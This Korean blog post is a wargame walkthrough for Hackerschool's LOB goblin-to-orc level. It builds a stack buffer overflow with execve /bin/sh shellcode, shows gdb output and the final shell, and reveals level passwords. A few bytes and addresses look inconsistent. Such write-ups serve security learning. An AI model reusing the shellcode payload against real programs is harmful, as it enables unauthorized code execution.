[해커스쿨 LOB] Level4: goblin >> orc

두비니

·

2019. 9. 25. 05:25

 

 

 


Level 4. Goblin >> Orc

Theme: EggHunter

 


 

 

 

레츠 로그인

id: goblin
pw: hackers proof

 

디렉토리 확인!

[goblin@localhost goblin]$ bash2
[goblin@localhost goblin]$ ls -l
total 20
-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc
-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c
[goblin@localhost goblin]$ nl orc.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - orc
     4          - egghunter
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          // egghunter
    18          for(i=0; environ[i]; i++)
    19                  memset(environ[i], 0, strlen(environ[i]));

    20          if(argv[1][47] != '\xbf')
    21          {
    22                  printf("stack is still your friend.\n");
    23                  exit(0);
    24          }

    25          strcpy(buffer, argv[1]);
    26          printf("%s\n", buffer);
    27  }

 

이번에는 변화가 꽤 생겼네요!

조건은 다음과 같네요

 

1. 환경변수 사용불가(egghunter)

2. 첫번째 인자 48번째 데이터는 '\xbf'여야한다

 

그리고 스택 상황은 다음과 같겠죠?

그러면 생각을 해봅시다! 환경변수를 사용하지 못한다면 그냥 buffer에다가 삽입하면 되겠죠?

 

그러면 저희 페이로드는 다음과 같이 생겼겠네요

 

./orc `python -c 'print "쉘코드" + "\x90"*19 + "buffer시작주소"'`

 

그럼 구할거는 2가지겠네요

1. buffer시작주소

2. 쉘코드

 

일단 2번은 해결됐죠? \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 이용하겠습니다. (25bytes)

 

그럼 buffer의 시작주소만 파악하면 되는데, 이는 gdb를 통해 구해보도록 하겠습니다.

 

(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/orb `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x80485c2 in main ()
(gdb) x/24x $esp
0xbffffb04:     0xbffffb10      0xbffffc7e      0x00000013      0x90909090
0xbffffb14:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb24:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffb34:     0x99e18953      0x80cd0bb0      0xbfbfbfbf      0x00000000
0xbffffb44:     0xbffffb84      0xbffffb90      0x40013868      0x00000002
0xbffffb54:     0x08048450      0x00000000      0x08048471      0x08048500

 

필요한 부분만 들고왔습니다.

 

보면 bffffb04줄부터 입력한 값이 들어가는게 보이네요. 페이로드 짜주면?

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\x04\xfb\xff\xbf"'`
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
                                         ?@??
Segmentation Fault

 

응 아니야

 

이렇게 주소를 넣어줬을 때 프로그램이 터지는 이유는 gdb로 프로그램을 분석할 경우 다른곳에 복사한 후 저장된 걸 열어보기 때문에 실제 동적 프로세서 주소와 차이가 있기 때문입니다. 따라서 이거는 직접 주소를 확인하는 코드를 추가해 확인하는 수밖에 없다고 하네요. core로 문제를 푸는 방법도 있는데, 이건 일단 다음에 소개하도록 하겠습니다.

[goblin@localhost goblin]$ cp orc.c orb.c
[goblin@localhost goblin]$ vi orb.c
[goblin@localhost goblin]$ nl orb.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - orc
     4          - egghunter
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          // egghunter
    18          for(i=0; environ[i]; i++)
    19                  memset(environ[i], 0, strlen(environ[i]));

    20          if(argv[1][47] != '\xbf')
    21          {
    22                  printf("stack is still your friend.\n");
    23                  exit(0);
    24          }

    25          strcpy(buffer, argv[1]);
    26          printf("%x\n", buffer);
    27          printf("%s\n", buffer);
    28  }
[goblin@localhost goblin]$ gcc -o orq orb.c

 

gcc로 컴파일링까지 한 후 주소를 확인해보면

[goblin@localhost goblin]$ ./orq `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\xbf\xbf\xbf\xbf"'`
bffffb10
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒
Segmentation fault (core dumped)

주소가 0xbffffb10인걸 알 수 있네요. 이거를 다시 입력해주면

 

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\x10\xbf\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒
bash$ my-pass
euid = 504
cantata

 

해결이 되네요.